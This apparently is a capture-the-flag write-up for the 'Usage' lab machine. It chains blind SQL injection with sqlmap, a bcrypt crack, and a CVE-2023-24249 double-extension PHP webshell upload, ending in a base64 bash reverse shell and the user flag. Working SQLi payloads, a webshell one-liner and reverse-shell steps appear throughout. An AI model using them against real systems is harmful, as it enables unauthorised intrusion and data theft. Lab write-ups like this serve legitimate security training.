Usage
A Laravel blog's password-reset form concatenates the submitted email into a SQL query, so sqlmap dumps the admin's bcrypt hash; the cracked password unlocks an admin panel running a vulnerable encore/laravel-admin, where an extension-only avatar filter is bypassed with a double-extension PHP webshell for remote code execution and the user flag.
Overview
Usage is an easy-difficulty Linux box running a Laravel blog with a separate admin subdomain. The path to user is a clean web chain: a blind SQL injection in the password-reset form leaks the admin’s password hash, the cracked credential unlocks an admin dashboard, and an outdated encore/laravel-admin avatar upload (CVE-2023-24249) with an extension-only filter is bypassed with a double-extension PHP webshell to land code execution and the user flag. This post covers recon through the user flag.
Machine Matrix
Clean web chain of blind SQLi (sqlmap), bcrypt crack, and a CVE-2023-24249 double-extension avatar upload RCE; CVE drives the foothold but the realistic misconfigs and cred-reuse carry the box.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH 8.9p1 | Ubuntu, default |
| 80/tcp | nginx 1.18.0 | redirects to usage.htb |
1
2
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.18 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.18
The web server redirects to usage.htb, so add it to /etc/hosts. The site’s “Admin” link then redirects to admin.usage.htb — add that vhost too.
1
echo "10.10.11.18 usage.htb admin.usage.htb" | sudo tee -a /etc/hosts
usage.htb serves a blog with login, registration, and a password-reset page. admin.usage.htb is a second, separate login (“Usage Admin”).
Enumeration
Registering an account and logging in lands on an uninteresting blog. The interesting surface is the Reset Password page at /forget-password: submitting a known email returns “We have e-mailed your password reset link”, while an unknown email returns “Email address does not match in our records!”. That differing response is a boolean oracle — the input is being looked up in a database.
Probing with a classic payload confirms injection:
1
test' or 1=1;-- -
The form returns the success message, meaning the single quote terminated the string and the OR 1=1 forced a true result. With the vector confirmed, hand the heavy lifting to sqlmap.
Foothold
1 — Dump the admin hash via SQLi. Intercept the POST /forget-password request (it carries _token and email) and save it as reset.req. The default run finds nothing; --level 3 widens the test set and confirms boolean- and time-based blind injection on email, with MySQL behind it.
1
2
3
sqlmap -r reset.req -p email --batch --level 3 --dbs
sqlmap -r reset.req -p email --batch --level 3 -D usage_blog --tables --threads=10
sqlmap -r reset.req -p email --batch --level 3 -D usage_blog -T admin_users --dump
The non-default usage_blog database holds an admin_users table with a single bcrypt hash for the admin user.
2 — Crack the hash. Save the $2y$10$... hash to a file and run it against rockyou.txt:
1
john hash --wordlist=/usr/share/wordlists/rockyou.txt
It cracks in seconds to whatever1. These credentials are for the separate admin.usage.htb panel.
3 — File-upload RCE (CVE-2023-24249). Logging into admin.usage.htb with admin:whatever1 reveals a dashboard whose Dependencies panel lists encore/laravel-admin 1.8.18 — vulnerable to CVE-2023-24249, an arbitrary file upload in the user-settings avatar field. The filter is extension-only.
Create a webshell and rename it past the image check:
1
2
echo '<?php system($_GET["melo"]); ?>' > shell.php
mv shell.php shell.jpg
A raw shell.php is rejected; shell.jpg uploads fine. To make the server execute it, intercept the POST /admin/auth/setting upload in Burp and change the multipart filename="shell.jpg" to filename="shell.jpg.php". The double extension slips past the filter while the trailing .php ensures execution. The uploaded file is reachable under /uploads/images/:
1
2
curl -s "http://admin.usage.htb/uploads/images/shell.jpg.php?melo=id"
# uid=1000(dash) gid=1000(dash) groups=1000(dash)
Code execution as dash. Upgrade to a reverse shell with a base64-encoded bash payload (listener on your tun0 IP/port), then stabilise:
1
2
3
nc -nlvp 4444
# then via the webshell: echo <base64_bash> | base64 -d | bash
script /dev/null -c bash
User flag
1
2
cat /home/dash/user.txt
# [redacted]
Command execution as dash and the user flag are ours.
Privilege escalation (monit cleartext password reuse to xander, then a sudo 7zip wildcard/symlink file-read of root’s SSH key) is left as an exercise — this post stops at user.